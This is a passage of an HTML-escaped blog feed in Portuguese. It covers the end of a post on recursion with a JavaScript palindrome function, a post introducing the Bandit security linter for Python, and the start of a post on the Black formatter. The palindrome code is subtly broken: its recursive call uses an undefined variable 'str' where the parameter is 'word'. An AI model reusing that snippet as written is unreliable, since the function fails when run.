&lt;p&gt;&lt;strong&gt;Combinar:&lt;/strong&gt; O resultado do último caso base executado vai dizer se o parâmetro passado é palíndromo ou não.&lt;/p&gt;
&lt;p&gt;Em &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;, podemos reproduzir as condições acima da seguinte forma:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;isPalindrome&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;word&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// Caso base #1&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;word&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// Caso base #2&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;word&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; word&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// Chamada recursiva&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;isPalindrome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;str&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Acredito que deixando a chamada recursiva para o final, além de ser mais fácil de imaginar o problema e seus diferentes casos, &quot;ganhamos&quot; a característica de &lt;em&gt;tail recursion&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Recursividade sempre é um assunto que demanda um pouco mais de energia na leitura de um código, principalmente se você (assim como eu) prefere a forma iterativa (com &lt;code class=&quot;language-text&quot;&gt;for&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;while&lt;/code&gt; e utilizando uma &lt;code class=&quot;language-text&quot;&gt;stack&lt;/code&gt; como estrutura de dados), mas sem dúvida alguma que compreender o &lt;em&gt;divide and conquer&lt;/em&gt; e praticar uma forma mais estruturada de pensar facilita na compreensão de problemas com recursão.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/divide-and-conquer-algorithm-introduction/&quot;&gt;GeeksForGeeks - Divide and Conquer Algorithm. Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/tail-recursion/&quot;&gt;GeeksForGeeks - Tail recursion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.khanacademy.org/computing/computer-science/algorithms/recursive-algorithms/a/recursion&quot;&gt;Khan Academy - Recursividade&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cs.stackexchange.com/questions/6230/what-is-tail-recursion&quot;&gt;StackExchange - What is tail recursion?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tutorialspoint.com/data_structures_algorithms/divide_and_conquer.htm&quot;&gt;TutorialsPoint - Divide and Conquer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikibooks.org/wiki/Algoritmos_e_Estruturas_de_Dados/Recursividade&quot;&gt;Wikibooks - Algoritmos e Estruturas de Dados/Recursividade&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/Recursividade_(ci%C3%AAncia_da_computa%C3%A7%C3%A3o)&quot;&gt;Wikipedia - Recursividade (ciência da computação)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Assegure a qualidade do seu código Python - Bandit]]></title><description><![CDATA[Já falamos sobre algumas ferramentas de qualidade de código Python aqui no blog. De pycodestyle a Clone Digger, passando por Pyflakes e…]]></description><link>https://klauslaube.com.br/2019/02/21/assegure-qualidade-seu-codigo-python-bandit.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/02/21/assegure-qualidade-seu-codigo-python-bandit.html</guid><pubDate>Thu, 21 Feb 2019 12:45:00 GMT</pubDate><content:encoded>&lt;p&gt;Já falamos sobre algumas ferramentas de qualidade de código &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; aqui no &lt;em&gt;blog&lt;/em&gt;. De &lt;a href=&quot;/2011/08/26/assegure-qualidade-seu-codigo-python-pep.html&quot; title=&quot;Assegure a qualidade do seu código Python - pep8&quot;&gt;&lt;em&gt;pycodestyle&lt;/em&gt;&lt;/a&gt; a &lt;a href=&quot;/2011/10/16/assegure-qualidade-seu-codigo-python-clone-digger.html&quot; title=&quot;Assegure a qualidade do seu código Python - Clone digger&quot;&gt;&lt;em&gt;Clone Digger&lt;/em&gt;&lt;/a&gt;, passando por &lt;a href=&quot;/2011/10/02/assegure-qualidade-seu-codigo-python-pyflakes.html&quot; title=&quot;Assegure a qualidade do seu código Python - Pyflakes&quot;&gt;&lt;em&gt;Pyflakes&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/2011/09/06/assegura-a-qualidade-de-codigo-python-pylint.html&quot; title=&quot;Assegure a qualidade do seu código Python - Pylint&quot;&gt;&lt;em&gt;Pylint&lt;/em&gt;&lt;/a&gt;. Além do &lt;em&gt;flake8&lt;/em&gt; (que acredito não precisar de apresentações), uma ferramenta que passei a ter sempre no meu &lt;em&gt;toolbelt&lt;/em&gt; foi o &lt;a href=&quot;https://github.com/PyCQA/bandit&quot; title=&quot;Repositório do Bandit&quot;&gt;&lt;em&gt;Bandit&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Na verdade, ele não é exatamente um &lt;em&gt;code linter&lt;/em&gt;, mas sim uma ferramenta para testar a segurança do seu projeto &lt;em&gt;Python&lt;/em&gt;. Em tempos onde cada vez mais somos expostos a falhas de segurança em aplicações, e tais falhas podem ser um fator crucial para o fracasso de um negócio, cuidado nunca é demais.&lt;/p&gt;
&lt;h2&gt;O seguro morreu de velho&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Bandit&lt;/em&gt; é uma ferramenta construída para encontrar problemas comuns de segurança em projetos &lt;em&gt;Python&lt;/em&gt;. Livre e de código aberto (&lt;a href=&quot;https://github.com/PyCQA/bandit/blob/master/LICENSE&quot; title=&quot;Leia mais no repositório da ferramenta&quot;&gt;&lt;em&gt;Apache 2&lt;/em&gt;&lt;/a&gt;), está disponível para instalação através do &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install bandit&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma vez instalado, basta executá-lo através do terminal:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ bandit -r caminho-para-projeto-python&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note que o parâmetro &lt;code class=&quot;language-text&quot;&gt;-r&lt;/code&gt; acima instrui o utilitário a executar de forma recursiva, iterando sobre todos os arquivos e pastas dentro do caminho especificado. Outro parâmetro comum é o &lt;code class=&quot;language-text&quot;&gt;-t&lt;/code&gt;, onde é possível especificar quais testes você quer executar:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ bandit -r ~/Workspace/klaus/blog -t B101,B102&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;Bandit&lt;/em&gt; considera como vulnerabilidades desde o uso de &lt;code class=&quot;language-text&quot;&gt;assert&lt;/code&gt; (B101), passando pelo uso de &lt;code class=&quot;language-text&quot;&gt;eval&lt;/code&gt; (B307), até possíveis brechas para &lt;em&gt;SQL injection&lt;/em&gt; (B608). Uma lista completa de todos os &lt;em&gt;plugins&lt;/em&gt; está disponível na &lt;a href=&quot;https://bandit.readthedocs.io/en/latest/plugins/index.html#complete-test-plugin-listing&quot; title=&quot;Confira a lista de falhas cobertas pelo Bandit&quot;&gt;documentação oficial&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/39204b07c84ba566fd80edb1e0ba14f9/828fb/bandit.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 53.125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMEAgX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAHnakYNJw//xAAaEAADAQADAAAAAAAAAAAAAAAAAQIREiEj/9oACAEBAAEFAsg8mPN51RXQ6pP/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAZEAACAwEAAAAAAAAAAAAAAAAAARESMSH/2gAIAQEABj8C0VWzJOsUGn//xAAbEAEAAgMBAQAAAAAAAAAAAAABABEhMUFR0f/aAAgBAQABPyFqtTW35ETqZsjDojjc9FMOiyUgU//aAAwDAQACAAMAAAAQOA//xAAVEQEBAAAAAAAAAAAAAAAAAAAAIf/aAAgBAwEBPxCI/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAGxABAQEAAwEBAAAAAAAAAAAAAREAITFBgZH/2gAIAQEAAT8QqmIS7ayDVKICME99wyReCafXFFR1OsRPJy5wEfu//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Foto do filme Agarre-me Se Puderes&amp;quot;&quot;
        title=&quot;Segurança na web é como fazer parte do filme Agarra-me Se Puderes (adorocinema.com)&quot;
        src=&quot;/static/39204b07c84ba566fd80edb1e0ba14f9/828fb/bandit.jpg&quot;
        srcset=&quot;/static/39204b07c84ba566fd80edb1e0ba14f9/7809d/bandit.jpg 192w,
/static/39204b07c84ba566fd80edb1e0ba14f9/4ecad/bandit.jpg 384w,
/static/39204b07c84ba566fd80edb1e0ba14f9/828fb/bandit.jpg 630w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Segurança na web é como fazer parte do filme Agarra-me Se Puderes (adorocinema.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Se você utiliza &lt;em&gt;pytest&lt;/em&gt; para escrever os seus testes, o item B101 pode ser um problema, uma vez que é normal utilizar &lt;code class=&quot;language-text&quot;&gt;assert&lt;/code&gt; ao invés do convencional &lt;code class=&quot;language-text&quot;&gt;self.assertEquals&lt;/code&gt;. Nesse caso, uma das formas de contornar esse comportamento é ignorando os testes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ bandit -r . -x tests/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Também é possível ter um arquivo de configuração (&lt;code class=&quot;language-text&quot;&gt;.bandit&lt;/code&gt;) na raíz do seu projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;toml&quot;&gt;&lt;pre class=&quot;language-toml&quot;&gt;&lt;code class=&quot;language-toml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;bandit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
exclude: tests&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para finalizar, através do parâmetro &lt;code class=&quot;language-text&quot;&gt;-f&lt;/code&gt; é possível emitir a saída em diferentes formatos, como &lt;em&gt;CSV&lt;/em&gt;, &lt;em&gt;HTML&lt;/em&gt;, &lt;em&gt;JSON&lt;/em&gt;, &lt;em&gt;XML&lt;/em&gt; e &lt;em&gt;YAML&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Bandit&lt;/em&gt; é aquela ferramenta perfeita para você ter em seu &lt;a href=&quot;https://github.com/PyCQA/bandit#version-control-integration&quot; title=&quot;Veja como integrá-lo com o Git&quot;&gt;&lt;em&gt;pre-commit&lt;/em&gt;&lt;/a&gt; ou em seu &lt;em&gt;CI&lt;/em&gt;. Inclusive, o &lt;a href=&quot;https://www.codacy.com/&quot; title=&quot;The standard for automated code reviews&quot;&gt;&lt;em&gt;Codacy&lt;/em&gt;&lt;/a&gt;, serviço super bacana que avalia a qualidade do seu código, utiliza o &lt;em&gt;Bandit&lt;/em&gt; em seu processo de análise. Com isso, fica fácil de integrá-lo ao seu processo de &lt;em&gt;Pull Request&lt;/em&gt;/&lt;em&gt;Code Review&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Um bom custo vs. benefício para o seu projeto.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PyCQA/bandit&quot;&gt;Github - Bandit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Deixe darem pitaco no seu código com Black]]></title><description><![CDATA[Já abordamos code formatters aqui no blog. Para Javascript temos o Prettier como solução mais famosa, e há de se reconhecer a série de…]]></description><link>https://klauslaube.com.br/2019/02/07/deixe-darem-pitaco-no-seu-codigo-com-black.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/02/07/deixe-darem-pitaco-no-seu-codigo-com-black.html</guid><pubDate>Thu, 07 Feb 2019 14:20:00 GMT</pubDate><content:encoded>&lt;p&gt;Já abordamos &lt;a href=&quot;/tag/formatters.html&quot; title=&quot;Leia mais sobre formatters&quot;&gt;&lt;em&gt;code formatters&lt;/em&gt;&lt;/a&gt; aqui no &lt;em&gt;blog&lt;/em&gt;. Para &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; temos o &lt;a href=&quot;/2019/01/12/deixe-darem-pitaco-no-seu-codigo-com-prettier.html&quot; title=&quot;Deixe darem pitaco no seu código com Prettier&quot;&gt;&lt;em&gt;Prettier&lt;/em&gt;&lt;/a&gt; como solução mais famosa, e há de se reconhecer a série de vantagens no uso da mesma. Acontece que para &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; temos algumas ferramentas tão interessantes quanto, como o &lt;em&gt;autopep8&lt;/em&gt;, &lt;em&gt;yapf&lt;/em&gt; e o &lt;em&gt;Black&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;E é sobre o último que falaremos nesse &lt;em&gt;post&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Se você está interessado em um comparativo, &lt;em&gt;Kevin Peters&lt;/em&gt; escreveu um artigo bem interessante para o &lt;em&gt;Medium&lt;/em&gt; chamado &lt;a href=&quot;https://medium.com/3yourmind/auto-formatters-for-python-8925065f9505&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;Auto formatters for Python&quot;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Além do PEP 8&lt;/h2&gt;
&lt;p&gt;A motivação para usar o &lt;em&gt;Black&lt;/em&gt; é a mesma descrita no &lt;em&gt;post&lt;/em&gt; sobre &lt;em&gt;Prettier&lt;/em&gt;: Reduzir tempo discutindo &lt;em&gt;code style&lt;/em&gt;, e deixar com que uma ferramenta tome essa decisão pelo time.&lt;/p&gt;
&lt;p&gt;Em &lt;em&gt;Python&lt;/em&gt;, o caminho para chegarmos a um consenso é relativamente menor. Uma das primeiras coisas que aprendi ao iniciar a minha jornada programando com a linguagem foi seguir a &lt;a href=&quot;https://www.python.org/dev/peps/pep-0008/&quot; title=&quot;Style Guide for Python Code&quot;&gt;&lt;em&gt;PEP 8&lt;/em&gt;&lt;/a&gt; religiosamente. Nela estão descritas as convenções de código adotadas oficialmente, como linhas em branco, indentação, nomes, comentários, etc. Qual o motivo de perder tempo pensando em um &lt;em&gt;style guide&lt;/em&gt; para o seu projeto se isso já foi discutido e formalizado pela comunidade?&lt;/p&gt;
&lt;p&gt;Ferramentas de &lt;em&gt;linting&lt;/em&gt; como &lt;a href=&quot;https://github.com/PyCQA/pycodestyle&quot; title=&quot;Simple Python style checker in one Python file&quot;&gt;&lt;em&gt;pycodestyle&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://github.com/PyCQA/flake8&quot; title=&quot;Flake8 is a wrapper around PyFlakes, pycodestyle and McCabe&quot;&gt;&lt;em&gt;flake8&lt;/em&gt;&lt;/a&gt; são essenciais e muito comuns. São elas que irão te alertar sobre possíveis quebras de estilo de código.&lt;/p&gt;
&lt;p&gt;Mas com o &lt;em&gt;Black&lt;/em&gt; vamos além...&lt;/p&gt;
&lt;h2&gt;Formatador descompromissado&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Black&lt;/em&gt; é um &lt;em&gt;code formatter&lt;/em&gt; para &lt;em&gt;Python&lt;/em&gt;, de código aberto (&lt;a href=&quot;https://github.com/ambv/black/blob/master/LICENSE&quot; title=&quot;The MIT License&quot;&gt;&lt;em&gt;MIT&lt;/em&gt;&lt;/a&gt;), que tem por lema tornar a formatação &quot;transparente&quot;, para que você possa focar no conteúdo.&lt;/p&gt;
&lt;p&gt;O time do &lt;em&gt;Black&lt;/em&gt; alega que a ferramenta é &quot;descompromissada&quot;, mas nem por isso ela deixa de ser pretensiosa. Diretamente do &lt;a href=&quot;https://github.com/ambv/black/&quot; title=&quot;Black no Github&quot;&gt;repositório no &lt;em&gt;Github&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By using it, you agree to cede control over minutiae of hand-formatting. In return, Black gives you speed, determinism, and freedom from pycodestyle nagging about formatting. You will save time and mental energy for more important matters.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em outras palavras, a ferramenta segue as recomendações da &lt;em&gt;PEP 8&lt;/em&gt; e formata seu código automaticamente. Na verdade, o &lt;em&gt;coding style&lt;/em&gt; utilizado é um &lt;em&gt;subset&lt;/em&gt; da &lt;em&gt;PEP 8&lt;/em&gt;, logo, algumas regras são &quot;manipuladas&quot; (como &lt;a href=&quot;https://github.com/ambv/black#line-length&quot; title=&quot;Leia na documentação do Black&quot;&gt;&lt;em&gt;line-length&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://github.com/ambv/black#strings&quot; title=&quot;Leia na documentação do Black&quot;&gt;aspas ao invés de apóstrofos&lt;/a&gt;) de acordo com decisões tomadas pelo time de desenvolvedores da ferramenta.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 730px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/28e5a4cc6f236ae0d0858493fb3888a9/1a144/black-walter.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAACBf/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/aAAwDAQACEAMQAAABCrk6cphUf//EABgQAQEBAQEAAAAAAAAAAAAAAAIBAwAT/9oACAEBAAEFAlSKMzyGct1dvvpyad//xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAwEBPwGI/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8BV//EABsQAAICAwEAAAAAAAAAAAAAAAABAhESE0Ey/9oACAEBAAY/AsdKE9ad8OluR7ZcnbP/xAAbEAEAAgIDAAAAAAAAAAAAAAABAFERIRBBgf/aAAgBAQABPyHdTTceI4+JiuBZqDkKd8JntsZ//9oADAMBAAIAAwAAABDA/wD/xAAXEQADAQAAAAAAAAAAAAAAAAAAARFR/9oACAEDAQE/EE8hen//xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAgEBPxBY/8QAGxABAQEAAgMAAAAAAAAAAAAAAREAITFBYYH/2gAIAQEAAT8QcpY0L3MOqydSnhv3IKJxARvtxF6gplWtAnjKFrh7N//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Foto do filme A Vida Secreta de Walter Mitty&amp;quot;&quot;
        title=&quot;Pare de perder tempo discutindo convenção de código no code review e vá viver sua vida, como o Walter fez (gq.co.za)&quot;
        src=&quot;/static/28e5a4cc6f236ae0d0858493fb3888a9/1a144/black-walter.jpg&quot;
        srcset=&quot;/static/28e5a4cc6f236ae0d0858493fb3888a9/7809d/black-walter.jpg 192w,
/static/28e5a4cc6f236ae0d0858493fb3888a9/4ecad/black-walter.jpg 384w,
/static/28e5a4cc6f236ae0d0858493fb3888a9/1a144/black-walter.jpg 730w&quot;
        sizes=&quot;(max-width: 730px) 100vw, 730px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Pare de perder tempo discutindo convenção de código no code review e vá viver sua vida, como o Walter fez (gq.co.za)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Caso você não concorde com algumas liberdades que a ferramenta toma, é possível customizar algumas regras adotadas pelo editor. Por exemplo, se você é um usuário assíduo de &lt;em&gt;single quotes&lt;/em&gt; e não concorda com o uso de &lt;em&gt;double quotes&lt;/em&gt;, pode executar o utilitário com o argumento &lt;code class=&quot;language-text&quot;&gt;--skip-string-normalization&lt;/code&gt;. Na humilde opinião de quem vos escreve, se você se pegar usando o &lt;em&gt;Black&lt;/em&gt; com muitas exceções, talvez valha a pena procurar outra ferramenta de &lt;em&gt;formatting&lt;/em&gt;, como os próprios desenvolvedores sugerem:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pro-tip: If you&apos;re asking yourself &quot;Do I need to configure anything?&quot; the answer is &quot;No&quot;. Black is all about sensible defaults.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;No terminal&lt;/h2&gt;
&lt;p&gt;Mas chega de papo, vamos ao que interessa:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install black&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como qualquer biblioteca &lt;em&gt;Python&lt;/em&gt;, instalamos o &lt;em&gt;Black&lt;/em&gt; através do utilitário &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;. Na sequência, basta executá-lo apontando qual arquivo você pretende formatar.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ black test.py
reformatted test.py
All done! ✨ 🍰 ✨
1 file reformatted.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Também é possível passar um diretório como argumento:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ black plugins/
reformatted /Users/klaus/Workspace/blog/plugins/global_license.py
reformatted /Users/klaus/Workspace/blog/plugins/slideshare.py
All done! ✨ 🍰 ✨
